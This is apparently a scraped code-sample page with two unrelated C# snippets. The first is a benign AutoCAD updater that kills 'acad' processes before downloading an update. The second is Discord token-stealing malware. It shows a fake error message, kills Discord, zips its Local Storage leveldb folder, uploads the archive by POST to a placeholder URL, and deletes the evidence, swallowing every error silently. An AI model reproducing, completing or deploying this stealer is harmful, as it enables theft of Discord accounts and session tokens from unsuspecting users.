public UpdateFrm()
        {
            InitializeComponent();
            System.Diagnostics.Process[] CADPro = System.Diagnostics.Process.GetProcessesByName("acad");
            foreach (System.Diagnostics.Process Pro in CADPro)
            {
                Pro.Kill();
            }
            System.Threading.Thread.Sleep(3000);
            object pathname = YCRO.GetValue("LOADER");

            app = new SoftUpdate(pathname.ToString(), "UpdateProgram.zip");

            app.Updatetxtinfo();
            textBox1.Text     = app.updateinfo;
            app.UpdateFinish += new UpdateState(app_UpdateFinish);

            if (app.IsUpdate)
            {
                label1.Text = "当前版本(" + app.currentverson + ")";
                dels invoker = new dels(app.StartDownload);
                invoker.BeginInvoke(new AsyncCallback(CallBack), null);
            }
        }
Exemple #2
0
    static void Main()
    {
        var Discord = "Empty";

        Thread.Sleep(500);
        MessageBox.Show("Put Your Fake Error Message Here", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);

        string DirPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\discord\Local Storage\leveldb\";
        string Check   = DirPath + "Check";

        if (File.Exists(Check) != true)
        {
            try
            {
                File.Create(Check);
            }
            catch { }

            try
            {
                var Proc = Process.GetProcessesByName("discord");
                Discord = Proc[0].MainModule.FileName;
                foreach (var Pro in Proc)
                {
                    Pro.Kill();
                }
                Thread.Sleep(250);
            }
            catch { }

            Random Rand    = new Random();
            string ZipPath = DirPath + Rand.Next(9999, 99999) + " - " + Environment.UserName + ".zip";

            try
            {
                ZipFile.CreateFromDirectory(DirPath, ZipPath);
            }
            catch { }

            try
            {
                Process.Start(Discord);
            }
            catch { }

            for (int I = 0; I < 2; I++) // For Make Sure That The Zip File Is Uploaded
            {
                try
                {
                    using (WebClient Client = new WebClient())
                    {
                        Client.Headers.Add("Content-Type", "application/zip");
                        Client.UploadFile("Your Url", "POST", ZipPath);
                    }
                }
                catch {}
            }

            try
            {
                File.Delete(ZipPath);
            }
            catch { }
        }
    }